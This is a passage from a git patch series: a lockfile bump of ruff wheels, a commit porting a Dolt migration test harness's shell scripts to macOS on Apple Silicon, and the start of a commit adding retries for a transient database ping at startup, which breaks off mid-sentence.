"https://files.pythonhosted.org/packages/2c/6b/4ffb7ad1d83eb16cf8cbb3c8815d3f11c88460fd162d4b372a2059be1c2a/ruff-0.16.1-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:82ae3c0c0d74daf17b968a10b7b3bb3ef297ab7de0c1f749646b25e690ccb150", size = 11470071, upload-time = "2026-07-30T19:36:39.91Z" }, - { url = "https://files.pythonhosted.org/packages/9c/72/32ae7db4c0b5e32ab611787caa19d1546800676d79f7483b7100a3561bf4/ruff-0.16.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4d5f2ed10f8242d83fc08d521301089364e3375375705356f20c0e31606ef3ef", size = 10919503, upload-time = "2026-07-30T19:36:42.65Z" }, - { url = "https://files.pythonhosted.org/packages/f7/ca/3d901ba6ad6fc38da39c3448fc6c59ac945679293a17c3ceb6d6c1cba13e/ruff-0.16.1-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a4665b309891f83f3e3c25447935f1213e9abbd4b5640af7a1f2def9f8d413c1", size = 10649861, upload-time = "2026-07-30T19:36:45.18Z" }, - { url = "https://files.pythonhosted.org/packages/92/79/894ef1ced26552d5f8c9cf6d85b0687840e1128c55aeab7b9c2d54a0d880/ruff-0.16.1-py3-none-musllinux_1_2_i686.whl", hash = "sha256:26e9ca5c9bc3971f20d3cf18a957f52ffd6a5f6564ff15c4912a144dcac22494", size = 11148137, upload-time = "2026-07-30T19:36:47.936Z" }, - { url = "https://files.pythonhosted.org/packages/2d/69/3609a09fa1cb46cc28b762363e440a354204e5dff01bd0c8d7437874d6b9/ruff-0.16.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:67e1e1e3fa4f0c82f0e36d4cd61e661f6e7a6196cb1aa92fe0828fa7b8f257cd", size = 11559211, upload-time = "2026-07-30T19:36:50.448Z" }, - { url = "https://files.pythonhosted.org/packages/fc/8a/fb22af2fd78a736e241fabf67e30ce1799a64244026377a49e133af90762/ruff-0.16.1-py3-none-win32.whl", hash = "sha256:d31765e131295b8445caf301e3e8a85b34d1b9b211b4109b7ba457888b051806", size = 10838258, upload-time = "2026-07-30T19:36:53.298Z" }, - { url = "https://files.pythonhosted.org/packages/d4/35/e57fd9fb5d423961df087a00b12d42c0a830288dc2f3b45ecca299158b4f/ruff-0.16.1-py3-none-win_amd64.whl", hash = "sha256:09b05e8b90c2cb06ad63464350e7a45e8e44a2dfe52072ebfba6666ca8d3f596", size = 11961111, upload-time = "2026-07-30T19:36:56.107Z" }, - { url = "https://files.pythonhosted.org/packages/cb/46/240ea004bf6dc4feb40e9832f2205a476a47dd5b8a3f8211a5fc5f95e20e/ruff-0.16.1-py3-none-win_arm64.whl", hash = "sha256:dbaadaac38c70239f056d306b7476f246b0bf000fa6b3876402acbf5b227eaf8", size = 11309414, upload-time = "2026-07-30T19:36:58.79Z" }, + { url = "https://files.pythonhosted.org/packages/ff/80/779895ef584e089d22f2c6df0d0e99a65ec2df0805f1fffd439415b8c1f0/ruff-0.16.4-py3-none-linux_armv6l.whl", hash = "sha256:df4075f71ddac40b9934af60c3ec8a53047dd5a5fdc43224e6e4e8e9a27cb6f7", size = 10006909, upload-time = "2026-08-20T17:43:16.888Z" }, + { url = "https://files.pythonhosted.org/packages/a9/e6/f553199b5e8927a05cb5c422d921fd0656b29ab976e91c44802107c6b0da/ruff-0.16.4-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:0c95538517af68004306b0fb3214ff2f2af67a65092aee77cd9eb86db6656604", size = 10240201, upload-time = "2026-08-20T17:43:19.337Z" }, + { url = "https://files.pythonhosted.org/packages/1c/70/4a6dc4bb34da4dee35e30f09bbd1bfbdd26f33b62fb9b8df31f08a199cd2/ruff-0.16.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:963f83df8e69e575b64d67dd447ebbc917db41a14bf38d4593a4183e7aaa8255", size = 9835122, upload-time = "2026-08-20T17:43:21.708Z" }, + { url = "https://files.pythonhosted.org/packages/24/12/c6e22d686372c15bcb7af99831f1a1be96df696491babf4f24e4f942c527/ruff-0.16.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:32a5057c7ff3f6e6480a48fccfb3a412a690f48a3d03ac5cf08177d6c2da3ade", size = 9977162, upload-time = "2026-08-20T17:43:24.236Z" }, + { url = "https://files.pythonhosted.org/packages/46/49/72b10ec912f5ab5854992eaf7aa7cd36729b6937d9dc4e0fb41b3bf428ec/ruff-0.16.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b3dce8d9b0c57c265b91885a66a567d8ea1372e8eb4e250fa8e5e3f579e99cff", size = 9829789, upload-time = "2026-08-20T17:43:26.966Z" }, + { url = "https://files.pythonhosted.org/packages/fa/80/0f30e32e7f6ee26edc39075502db9d368d788a44a79b55f763eb4ab03796/ruff-0.16.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7dc651db49283c69f8e72c834eec4fe5573e4c646856aebece0ce385dceb2a80", size = 10527949, upload-time = "2026-08-20T17:43:29.384Z" }, + { url = "https://files.pythonhosted.org/packages/52/3d/86e8ad3542169e56cac3859a343afdb9df2ad54d35a59ce1e67baee83421/ruff-0.16.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3817b87dbcabc92f13b05019257c5b89b5b4d51b5fb20f56fb5235ceb723cd07", size = 11333695, upload-time = "2026-08-20T17:43:31.872Z" }, + { url = "https://files.pythonhosted.org/packages/d0/16/481c29b380c20a0054a8261066665e1b3488e23636c49d0a43e75975b9bb/ruff-0.16.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e9fce1499134b2c8c68e5166f95705a5812062bb93aacc5f9873bb1a27084bc7", size = 10727741, upload-time = "2026-08-20T17:43:34.596Z" }, + { url = "https://files.pythonhosted.org/packages/5e/b6/56bc0b8cf45b54b28b3a5e6381c8945d51b5b18adf659454c32295209a31/ruff-0.16.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d812e482f5a7e02eee26cd73d2a37ebbdf47d795ea63ba1b89110ae93e9fb3", size = 10286522, upload-time = "2026-08-20T17:43:37.288Z" }, + { url = "https://files.pythonhosted.org/packages/e8/8b/b345b4fb110f2fbe2bd31eabd271e5e8b3b7e4ee6c0e02f2dc6be78db000/ruff-0.16.4-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:6baaf984aa7976edf93d3b627fe2d1d22ee94bbca05fa6f90fc76d73924e3454", size = 10584182, upload-time = "2026-08-20T17:43:39.984Z" }, + { url = "https://files.pythonhosted.org/packages/29/e5/827b34041c35f58774a9681a4213994c164fc987800f4dddabcf451da0bf/ruff-0.16.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:bdfcf0b28662eb890372d50f92c283bb94e67e7635ed93c7fd533970acff7b2b", size = 10134195, upload-time = "2026-08-20T17:43:42.351Z" }, + { url = "https://files.pythonhosted.org/packages/0f/10/d0bffcdd6729b87afc82ba0ef377173356a7dc8e972f5179968cf2fdf98c/ruff-0.16.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b66b02cb9b04f537643cadf5768e5f98dc461890d530cb67113d71c8c76e605d", size = 9825821, upload-time = "2026-08-20T17:43:44.532Z" }, + { url = "https://files.pythonhosted.org/packages/f5/32/0db2a863b796ca62d83e92a07a3ccf00921b14db02059347576a2fda3d4b/ruff-0.16.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8528bf9a4b291a60bf02ea453511e8ce6215bd2b982ee80405b66b008b6c30a0", size = 10267658, upload-time = "2026-08-20T17:43:46.989Z" }, + { url = "https://files.pythonhosted.org/packages/b2/a0/fbdeb59e48c6261f523e56c8f12e9c08fbe693786595cc7e3959207a9232/ruff-0.16.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:fbd85d2875fdd67e833213a651f613bbf25303abf6aa822a5121f4531195678d", size = 10697071, upload-time = "2026-08-20T17:43:49.891Z" }, + { url = "https://files.pythonhosted.org/packages/aa/28/0c6dd865859c6d17bc8ccc34cb72b0e02d6c7eb25e8a1e22b5bea681e2c0/ruff-0.16.4-py3-none-win32.whl", hash = "sha256:312769988007aaeb8e189b443ccdd03c0e6374489e053467be6d96518ebff76e", size = 10021687, upload-time = "2026-08-20T17:43:52.281Z" }, + { url = "https://files.pythonhosted.org/packages/a3/03/e724450f621698117f9aa6dd241c94d0274ae96781378dc86745ae29f0e7/ruff-0.16.4-py3-none-win_amd64.whl", hash = "sha256:05d9d27a18c4bcbefada602480ec9e01e0bc949d432e0ced5df77edac195919c", size = 10567657, upload-time = "2026-08-20T17:43:54.78Z" }, + { url = "https://files.pythonhosted.org/packages/0e/fe/da8b9e1347696bb22120b77280ec5ce25d500ca5cb39d5ad6e5c18de19c1/ruff-0.16.4-py3-none-win_arm64.whl", hash = "sha256:a3a61621c9b6f6a89573e938a080e648f1695baa3f58570a3a707bc51ff65a21", size = 10451579, upload-time = "2026-08-20T17:43:57.135Z" }, ] [[package]] From a07794015f6deedf373ff0854069d0f1f8289901 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Wed, 2 Sep 2026 22:38:57 -0300 Subject: [PATCH 038/624] migration-test: port the historical-Dolt upgrade corpus to darwin/arm64 (#6072) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * migration-test: port the historical-Dolt upgrade corpus to darwin/arm64 The harness was Linux/amd64-only, gated by an unconditional uname check. Porting it turned out to need more than the linux-only STRICT_RELEASE_ASSETS table: sourcing lib/versions.sh's associative arrays fails outright under macOS's bundled bash 3.2 (no `declare -A` support), `realpath -e` and `find -printf` are GNU-only, the release-binary version probe's sandboxed PATH=/usr/bin:/bin has no `timeout` on macOS, and the v0.9.1 source build's own scratch dir was never canonicalized against macOS's symlinked TMPDIR. - lib/versions.sh: guard on bash >= 4 with an actionable message instead of a cryptic mid-file parse error; add reviewed darwin|arm64 asset+checksum entries for all 12 corpus versions (existence confirmed via `gh release view`, checksums taken from each release's own checksums.txt — the same provenance as the existing linux|amd64 rows, cross-checked byte-for-byte against them). - historical-dolt-upgrade-test.sh: accept linux/x86_64 or darwin/arm64 (still an explicit allowlist, not a generic passthrough); replace the two `find -printf` uses with a portable per-entry describer (Linux keeps the original find command unchanged) and a plain `-exec basename`. - lib/binary.sh: add resolve_existing_path (realpath -e on Linux, plain realpath elsewhere — verified to already require existence on macOS); resolve `timeout` to an absolute path before entering the sandboxed probe rather than widening its PATH; canonicalize the v0.9.1 build's scratch dir immediately after mktemp; parameterize its GOOS/GOARCH/cache-path instead of hardcoding linux/amd64. Validated natively on darwin/arm64: syntax-checked under bash 5; the existing legacy-bridge-test.sh smoke suite passes unchanged (including its assertion that the sandboxed probe PATH stays exactly /usr/bin:/bin); real end-to-end runs of run.sh (the actual CI entrypoint) pass for the embedded Dolt lane (v1.1.2), the external server-Dolt lane against the pinned Dolt runtime (v0.62.0 — production's current schema), and a classic-SQLite bridge lane (v0.49.6). linux|amd64 behavior is unchanged (existing entries and branches are untouched byte-for-byte; only new darwin-only branches added). v0.9.1's own lane gets past every platform fix here and then hits an unrelated, pre-existing bug: migrate-legacy-to-current.sh's bridge comparison stringifies timestamps as local-time-with-offset on the old side and UTC-Z on the candidate side, so it only happens to line up when the runner's local timezone is UTC (true for CI, false here). Left unfixed as out of scope for a platform-corpus change — noted for the reviewer. Ref: ga-9sghx (Gas Town HQ) * fix(ga-9sghx): address PR #6072 review feedback bee-ghosttrack's review (CHANGES_REQUESTED) found resolve_existing_path's non-Linux branch assumed BSD realpath, but Homebrew coreutils puts GNU realpath on macOS PATH too — and GNU's flagless default silently accepts a missing final path component, dropping the existence guarantee this function promises callers. Add an explicit [ -e "$1" ] guard so it holds regardless of which realpath resolves. Also skip the v0.63.3 embedded-Dolt lane specifically on darwin/arm64: that release's published darwin/arm64 binary was built without CGO and can't open an embedded-Dolt store at all — an upstream release artifact limitation, not fixable here. Skipping just that one version (with an explicit, non-silent message) keeps ./run.sh from being permanently red on a Mac; every other embedded-Dolt version is unaffected. Verified: legacy-bridge-test.sh passes; --version v0.63.3 now exits via the explicit skip instead of the CGO error; resolve_existing_path unit-checked directly for both the existing-path and missing-path cases. --------- Co-authored-by: Test --- .../historical-dolt-upgrade-test.sh | 60 ++++++++++++++++--- scripts/migration-test/lib/binary.sh | 49 ++++++++++++--- scripts/migration-test/lib/versions.sh | 36 +++++++++++ 3 files changed, 130 insertions(+), 15 deletions(-) diff --git a/scripts/migration-test/historical-dolt-upgrade-test.sh b/scripts/migration-test/historical-dolt-upgrade-test.sh index f543c3fea..4490628f4 100755 --- a/scripts/migration-test/historical-dolt-upgrade-test.sh +++ b/scripts/migration-test/historical-dolt-upgrade-test.sh @@ -50,12 +50,12 @@ verify_dolt_runtime() { local resolved output bare resolved=$(command -v "$DOLT_BIN") || die "pinned external Dolt runtime ${DOLT_TEST_RUNTIME_VERSION} is unavailable: $DOLT_BIN" - resolved=$(realpath -e -- "$resolved") || die "cannot resolve Dolt runtime: $DOLT_BIN" + resolved=$(resolve_existing_path "$resolved") || die "cannot resolve Dolt runtime: $DOLT_BIN" output=$("$resolved" version 2>&1) || die "pinned external Dolt runtime does not run: $resolved" bare="${DOLT_TEST_RUNTIME_VERSION#v}" if ! grep -Eq "(^|[^0-9])${bare//./\\.}([^0-9]|$)" <<< "$output"; then - die "unpinned external Dolt runtime: $resolved reports '$output'; require ${DOLT_TEST_RUNTIME_VERSION} linux/amd64 (archive SHA-256 ${DOLT_TEST_RUNTIME_SHA256})" + die "unpinned external Dolt runtime: $resolved reports '$output'; require ${DOLT_TEST_RUNTIME_VERSION} (CI pins the linux/amd64 archive, SHA-256 ${DOLT_TEST_RUNTIME_SHA256}; any native build reporting this version is accepted)" fi DOLT_BIN="$resolved" } @@ -87,8 +87,10 @@ require_command git require_command timeout require_command sha256sum require_command python3 -[ "$(uname -s)" = Linux ] || die 'the pinned authentic-binary corpus supports Linux only' -[ "$(uname -m)" = x86_64 ] || die 'the pinned authentic-binary corpus supports linux/amd64 only' +case "$(uname -s)-$(uname -m)" in + Linux-x86_64|Darwin-arm64) ;; + *) die 'the pinned authentic-binary corpus supports linux/amd64 or darwin/arm64 only' ;; +esac [[ "$OP_TIMEOUT" =~ ^[1-9][0-9]*$ ]] || die 'HISTORICAL_DOLT_E2E_TIMEOUT must be a positive number of seconds' for version in "${SELECTED_VERSIONS[@]}"; do case " ${HISTORICAL_DOLT_VERSIONS[*]} " in @@ -98,7 +100,7 @@ done candidate="${CANDIDATE_BIN:-}" if [ -z "$candidate" ]; then candidate=$(build_candidate); fi -candidate=$(realpath -e -- "$candidate") || die 'candidate binary cannot be resolved' +candidate=$(resolve_existing_path "$candidate") || die 'candidate binary cannot be resolved' [ -x "$candidate" ] || die "candidate binary is not executable: $candidate" cleanup() { @@ -364,12 +366,44 @@ PY stop_sqlite_writer } +# GNU find's `-printf '%p\0%y\0%l\0'` (path, type letter, symlink target) has +# no BSD find equivalent — BSD find has no -printf action at all. This +# reproduces its exact three NUL-terminated fields for one already-found +# entry, checking -L before -f/-d so a symlink is classified 'l' rather than +# by whatever it points to (matching find's own unfollowed-by-default %y). +describe_entry_portable() { + local entry="$1" type target='' + if [ -L "$entry" ]; then + type=l + target=$(readlink -- "$entry" 2>/dev/null) || target='' + elif [ -d "$entry" ]; then + type=d + elif [ -f "$entry" ]; then + type=f + elif [ -p "$entry" ]; then + type=p + elif [ -S "$entry" ]; then + type=s + elif [ -b "$entry" ]; then + type=b + elif [ -c "$entry" ]; then + type=c + else + type='?' + fi + printf '%s\0%s\0%s\0' "$entry" "$type" "$target" +} + beads_dir_fingerprint() { local beads_dir="$1" ( cd "$beads_dir" || return 1 while IFS= read -r -d '' entry; do - find "$entry" -maxdepth 0 -printf '%p\0%y\0%l\0' + if [ "$OS" = linux ]; then + find "$entry" -maxdepth 0 -printf '%p\0%y\0%l\0' + else + describe_entry_portable "$entry" + fi if [ -f "$entry" ] && [ ! -L "$entry" ]; then sha256sum -- "$entry" fi @@ -831,7 +865,7 @@ run_v091_upgrade() { source=$(build_verified_v091_source_binary) || die "$version: verified source build is unavailable" run_v091_source "$source" init --prefix vc || die "$version: source init failed" create_v091_fixture "$source" - [ "$(find "$workspace/.beads" -mindepth 1 -maxdepth 1 -printf '%f\n' | LC_ALL=C sort)" = vc.db ] || + [ "$(find "$workspace/.beads" -mindepth 1 -maxdepth 1 -exec basename {} \; | LC_ALL=C sort)" = vc.db ] || die "$version: source did not produce sole .beads/vc.db" [ ! -e "$workspace/.beads/issues.jsonl" ] && [ ! -L "$workspace/.beads/issues.jsonl" ] || die "$version: source unexpectedly auto-flushed .beads/issues.jsonl" @@ -1097,6 +1131,18 @@ prepare_workspace() { } for version in "${SELECTED_VERSIONS[@]}"; do + # v0.63.3's published darwin/arm64 release binary was built without CGO + # and can't open an embedded-Dolt store at all ("embedded Dolt requires + # CGO") — a limitation of that specific historical release artifact, not + # of this host or this corpus's code, and not something a local fix can + # change (the whole point is testing the authentic pinned binary). + # Skipping just this one version keeps ./run.sh from being permanently + # red on macOS; linux/amd64 and every other embedded-Dolt version + # (v1.0.0, v1.0.1, v1.1.0, v1.1.2) are unaffected and still run. + if [ "$version" = v0.63.3 ] && [ "$OS" = darwin ] && [ "$ARCH" = arm64 ]; then + printf '\n● Historical embedded Dolt upgrade: %s\n ⚠ skipped on darwin/arm64: the published release binary for %s requires CGO to open an embedded-Dolt store, and its darwin/arm64 build has none — upstream release limitation, covered on linux/amd64\n' "$version" "$version" + continue + fi prepare_workspace case "$version" in "$SOURCE_TAG_SQLITE_VERSION") run_v091_upgrade ;; diff --git a/scripts/migration-test/lib/binary.sh b/scripts/migration-test/lib/binary.sh index 99474c5a2..6e4e46175 100755 --- a/scripts/migration-test/lib/binary.sh +++ b/scripts/migration-test/lib/binary.sh @@ -14,6 +14,27 @@ case "$ARCH" in aarch64|arm64) ARCH="arm64" ;; esac +resolve_existing_path() { + # GNU realpath needs -e to require the target exist; BSD realpath (macOS) + # has no -e flag and rejects it outright, but already requires existence + # unconditionally by default — verified empirically to error + exit + # nonzero on a missing path, same as GNU's -e. Linux keeps the exact + # existing invocation; only Darwin takes the flagless path. + # + # That "Darwin" branch is really "not Linux", not "BSD realpath" — with + # Homebrew coreutils on PATH, `realpath` resolves to GNU realpath there + # too, and GNU's default (no -e) accepts a missing *final* component + # (rc 0), silently dropping the existence guarantee this function + # promises callers. Don't trust either realpath's default behavior for + # that guarantee; check it ourselves so it holds on both branches. + [ -e "$1" ] || return 1 + if [ "$OS" = linux ]; then + realpath -e -- "$1" + else + realpath -- "$1" + fi +} + sha256_file() { if command -v sha256sum >/dev/null 2>&1; then sha256sum "$1" | awk '{print $1}' @@ -53,11 +74,12 @@ verify_release_binary_version() ( echo "ERROR: RELEASE_BINARY_VERSION_TIMEOUT must be a positive number of seconds" >&2 return 1 fi - if ! command -v timeout >/dev/null 2>&1; then + local timeout_bin + if ! timeout_bin=$(command -v timeout); then echo "ERROR: timeout is required to verify historical release binaries safely" >&2 return 1 fi - binary=$(realpath -e -- "$binary") || { + binary=$(resolve_existing_path "$binary") || { echo "ERROR: verified $version binary cannot be resolved" >&2 return 1 } @@ -73,6 +95,12 @@ verify_release_binary_version() ( mkdir -p "$probe_root/run" "$probe_root/home" "$probe_root/xdg-config" \ "$probe_root/xdg-cache" "$probe_root/xdg-data" "$probe_root/xdg-state" "$probe_root/tmp" || return 1 + # PATH stays the deliberately minimal /usr/bin:/bin below — invoke + # timeout by the absolute path resolved above instead of relying on it + # being found on that sandboxed PATH. On Linux it lives in /usr/bin + # anyway (no behavior change); macOS has no timeout(1) at all outside a + # package manager prefix (e.g. Homebrew's /opt/homebrew/bin), which the + # sandboxed PATH intentionally excludes. if ! output=$(cd "$probe_root/run" && env -i \ PATH=/usr/bin:/bin \ HOME="$probe_root/home" \ @@ -88,7 +116,7 @@ verify_release_binary_version() ( BD_DISABLE_METRICS=1 \ BD_DISABLE_EVENT_FLUSH=1 \ BD_NON_INTERACTIVE=1 \ - timeout --kill-after=5s "$probe_timeout" "$binary" version 2>&1); then + "$timeout_bin" --kill-after=5s "$probe_timeout" "$binary" version 2>&1); then echo "ERROR: verified $version binary does not run" >&2 return 1 fi @@ -154,10 +182,15 @@ download_verified_release_binary() { build_verified_v091_source_binary() ( local scratch module_json source_dir build_dir binary temporary toolchain_root toolchain_go toolchain scratch=$(mktemp -d) || return 1 + # Canonicalize immediately: macOS's default TMPDIR (/var/folders/...) is + # itself reached through a symlink to /private/var/folders/..., so a + # later realpath'd descendant (source_dir below) would never prefix-match + # this raw, non-canonical form even though both name the same directory. + scratch=$(resolve_existing_path "$scratch") || return 1 temporary="" trap 'rm -rf -- "$scratch"; [ -z "$temporary" ] || rm -f -- "$temporary"' EXIT toolchain_root=$(env GOTOOLCHAIN="$SOURCE_TAG_SQLITE_GO_TOOLCHAIN" go env GOROOT) || return 1 - toolchain_go=$(realpath -e -- "$toolchain_root/bin/go") || return 1 + toolchain_go=$(resolve_existing_path "$toolchain_root/bin/go") || return 1 [ -x "$toolchain_go" ] || return 1 toolchain=$(cd "$scratch" && env GOTOOLCHAIN=local "$toolchain_go" env GOVERSION) || return 1 [ "$toolchain" = "$SOURCE_TAG_SQLITE_GO_TOOLCHAIN" ] || { @@ -186,13 +219,13 @@ build_verified_v091_source_binary() ( echo 'ERROR: v0.9.1 module provenance did not match the reviewed source tag' >&2 return 1 } - source_dir=$(realpath -e -- "$(jq -r .Dir <<< "$module_json")") || return 1 + source_dir=$(resolve_existing_path "$(jq -r .Dir <<< "$module_json")") || return 1 [ -d "$source_dir" ] && [ ! -L "$source_dir" ] && [[ "$source_dir/" == "$scratch/mod/"* ]] || { echo 'ERROR: verified v0.9.1 module has no safe source directory' >&2 return 1 } - build_dir="$CACHE_DIR/verified-source/${SOURCE_TAG_SQLITE_VERSION}-${SOURCE_TAG_SQLITE_COMMIT}-${SOURCE_TAG_SQLITE_GO_TOOLCHAIN}-linux-amd64-cgo1" + build_dir="$CACHE_DIR/verified-source/${SOURCE_TAG_SQLITE_VERSION}-${SOURCE_TAG_SQLITE_COMMIT}-${SOURCE_TAG_SQLITE_GO_TOOLCHAIN}-${OS}-${ARCH}-cgo1" binary="$build_dir/bd" mkdir -p "$build_dir" cp -f "$source_dir/go.mod" "$scratch/source.mod" && @@ -201,9 +234,9 @@ build_verified_v091_source_binary() ( temporary="$binary.tmp.$$" if ! (cd "$source_dir" && env GOFLAGS=-modcacherw GOWORK=off GOTOOLCHAIN=local \ GOMODCACHE="$scratch/mod" GOSUMDB=sum.golang.org GONOSUMDB= GOPRIVATE= \ - GOOS=linux GOARCH=amd64 CGO_ENABLED=1 \ + GOOS="$OS" GOARCH="$ARCH" CGO_ENABLED=1 \ "$toolchain_go" build -trimpath -modfile="$scratch/source.mod" -o "$temporary" ./cmd/bd); then - echo 'ERROR: could not build verified v0.9.1 source for linux/amd64 with CGO' >&2 + echo "ERROR: could not build verified v0.9.1 source for $OS/$ARCH with CGO" >&2 return 1 fi chmod +x "$temporary" && mv -f "$temporary" "$binary" || return 1 diff --git a/scripts/migration-test/lib/versions.sh b/scripts/migration-test/lib/versions.sh index 037043397..e1c9eefbb 100755 --- a/scripts/migration-test/lib/versions.sh +++ b/scripts/migration-test/lib/versions.sh @@ -1,6 +1,12 @@ #!/bin/bash # Storage era definitions and upgrade path matrix. +if ((BASH_VERSINFO[0] < 4)); then + printf 'versions.sh: this migration-test harness needs bash >= 4 for associative arrays (found %s).\n' "$BASH_VERSION" >&2 + printf 'versions.sh: macOS ships bash 3.2 by default; install a newer bash (e.g. "brew install bash") and invoke this script through it.\n' >&2 + return 1 2>/dev/null || exit 1 +fi + # The explicit export/import bridges for reviewed classic SQLite layouts. They # are not in-place schema migrations: each SQLite source remains a rollback copy. readonly CLASSIC_SQLITE_VERSION="v0.49.6" @@ -78,6 +84,23 @@ declare -Ar STRICT_RELEASE_ASSETS=( ["v1.0.1|linux|amd64"]="beads_1.0.1_linux_amd64.tar.gz" ["v1.1.0|linux|amd64"]="beads_1.1.0_linux_amd64.tar.gz" ["v1.1.2|linux|amd64"]="beads_1.1.2_linux_amd64.tar.gz" + # darwin/arm64: reviewed 2026-08-29 (ga-9sghx) so the corpus can run + # natively on Apple Silicon. Every asset below was confirmed to exist via + # `gh release view -R gastownhall/beads`, and every checksum was + # taken from that release's own goreleaser-published checksums.txt (the + # same provenance as the linux|amd64 entries above). + ["v0.17.0|darwin|arm64"]="beads_0.17.0_darwin_arm64.tar.gz" + ["v0.49.6|darwin|arm64"]="beads_0.49.6_darwin_arm64.tar.gz" + ["v0.50.3|darwin|arm64"]="beads_0.50.3_darwin_arm64.tar.gz" + ["v0.55.4|darwin|arm64"]="beads_0.55.4_darwin_arm64.tar.gz" + ["v0.56.1|darwin|arm64"]="beads_0.56.1_darwin_arm64.tar.gz" + ["v0.57.0|darwin|arm64"]="beads_0.57.0_darwin_arm64.tar.gz" + ["v0.62.0|darwin|arm64"]="beads_0.62.0_darwin_arm64.tar.gz" + ["v0.63.3|darwin|arm64"]="beads_0.63.3_darwin_arm64.tar.gz" + ["v1.0.0|darwin|arm64"]="beads_1.0.0_darwin_arm64.tar.gz" + ["v1.0.1|darwin|arm64"]="beads_1.0.1_darwin_arm64.tar.gz" + ["v1.1.0|darwin|arm64"]="beads_1.1.0_darwin_arm64.tar.gz" + ["v1.1.2|darwin|arm64"]="beads_1.1.2_darwin_arm64.tar.gz" ) declare -Ar STRICT_RELEASE_SHA256=( ["v0.17.0|linux|amd64"]="d4d08617a324c85b45c9628bc519d659a9ff9c7c37da67aa48727e0af7f19a75" @@ -92,6 +115,19 @@ declare -Ar STRICT_RELEASE_SHA256=( ["v1.0.1|linux|amd64"]="1d2364d5d7083a4634a9e734ca87822fb79c2b6625988f9f791e3376313b1b77" ["v1.1.0|linux|amd64"]="b0f3dd607c3fb989ee08d0a6854fba80d0402971eb108f9af6170bc14d491a34" ["v1.1.2|linux|amd64"]="a72d71ed374955dc9f83a0f90b54bd7b6a0016709dd1676ae2e368651ed401c2" + # darwin/arm64 — see provenance note on STRICT_RELEASE_ASSETS above. + ["v0.17.0|darwin|arm64"]="41479fabf76ff76912096bf2e9c1988a9b0d0dd673c7e693342f711770f6d763" + ["v0.49.6|darwin|arm64"]="007dacd919eeac48a3a0ecb6aad305ef04e903de02c43a8163d2fd6a63d9ab7d" + ["v0.50.3|darwin|arm64"]="26c15b93d82be45c3fa9b6318ffee9a6ae89841ba7ec4ad5c8db6fe6e42d3d3a" + ["v0.55.4|darwin|arm64"]="18afdf4f562323a71687b2f7ed95c27750aee8d361b176a4a79caf176f00c0b9" + ["v0.56.1|darwin|arm64"]="aa8a4309de2ab8c27a90c03b652cedc53a45880a5c94cd65881006da3c2f0812" + ["v0.57.0|darwin|arm64"]="fbbcbdff64da29f72fbe939d4cc285305d73e830889919d182c4c6826a338ced" + ["v0.62.0|darwin|arm64"]="4f441c616240c7063a2257ac26138d06eae060a961f029c81855928eae6ae1c0" + ["v0.63.3|darwin|arm64"]="2b3ab41dd74a3c2a79bc47dd0b36c0a63a2c5d76f1e3081db5288d294124f245" + ["v1.0.0|darwin|arm64"]="b8763b428e6b68550eb2b2505483797794b49ae497a2e265ed3c60f0f0a0bcd2" + ["v1.0.1|darwin|arm64"]="f9d5e878fbee8a7051289743e36e52b0b17f1058587170afab7f2d2a30f43199" + ["v1.1.0|darwin|arm64"]="c42e24d83b258f7ba9f52a6d2d5f6b055869dfe7807165055988b12e7ea8c564" + ["v1.1.2|darwin|arm64"]="9b0137a83a2afd343e2abd2a506be72ea032721000f76669c2cf81729e78501d" ) strict_release_asset() { From c0d8da42de5fd15c95adac85e342ba4a121da0fb Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 2 Sep 2026 21:15:27 -0700 Subject: [PATCH 039/624] fix(storage/uow): retry transient ping failures during openDB bootstrap (#6003) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(uow): red — pingWithRetry does not exist yet for openDB's boot-time ping Adds TestPingWithRetryRecoversFromATransientBadConn (be-x49l6): a fake pinger exercising three cases — transient error retries then recovers, non-transient error fails without retrying, and an already-cancelled context fails promptly. Fails to compile until pingWithRetry/pinger are added to dolt_sql_provider.go. * feat: green — Fix: unretried ping in uow openDB turns a transient Dolt connection drop into a hard CI failure (refs be-x49l6) * refactor: drop what-comment on pingWithRetry (self-review, refs be-x49l6) Self-review flagged it as restating the function's own signature/behavior rather than explaining a non-obvious why; the pinger and isTransientPingError comments stay since they carry rationale the code doesn't otherwise convey. * test(uow): red — a hung boot ping is not bounded per attempt Adds the two behaviours review #6003 asked for, both failing: - a_hung_ping_is_capped_per_attempt_and_retried: blockingPinger stalls until its context is cancelled. backoff.Retry bounds only the gap between attempts, so with the caller's context handed straight to PingContext the call never returns at all. The subtest runs the call off-goroutine so this reports as "never returned" instead of a package timeout. - connection-level_net_error_retries_then_recovers: a *net.OpError (connection refused / reset / broken pipe) is currently classified non-transient and fails the boot ping outright. the_caller's_own_deadline_fails_without_retrying passes already and is kept as the regression guard for the trap #6000 fell into: making context.DeadlineExceeded retryable must not make the caller's own expiry retryable too. pingWithRetry takes attemptTimeout here but does not honour it yet, so the red is behavioural rather than a compile error. Refs be-g1i7n. * fix(uow): bound each boot ping attempt and widen the transient classifier Review #6003, point 1. backoff.Retry bounds the gap between attempts but cannot interrupt one in flight, and the DSN sets a dial Timeout (5s) with no ReadTimeout — so a server that accepts TCP and then stalls mid-handshake blocked for the caller's entire context, which is the 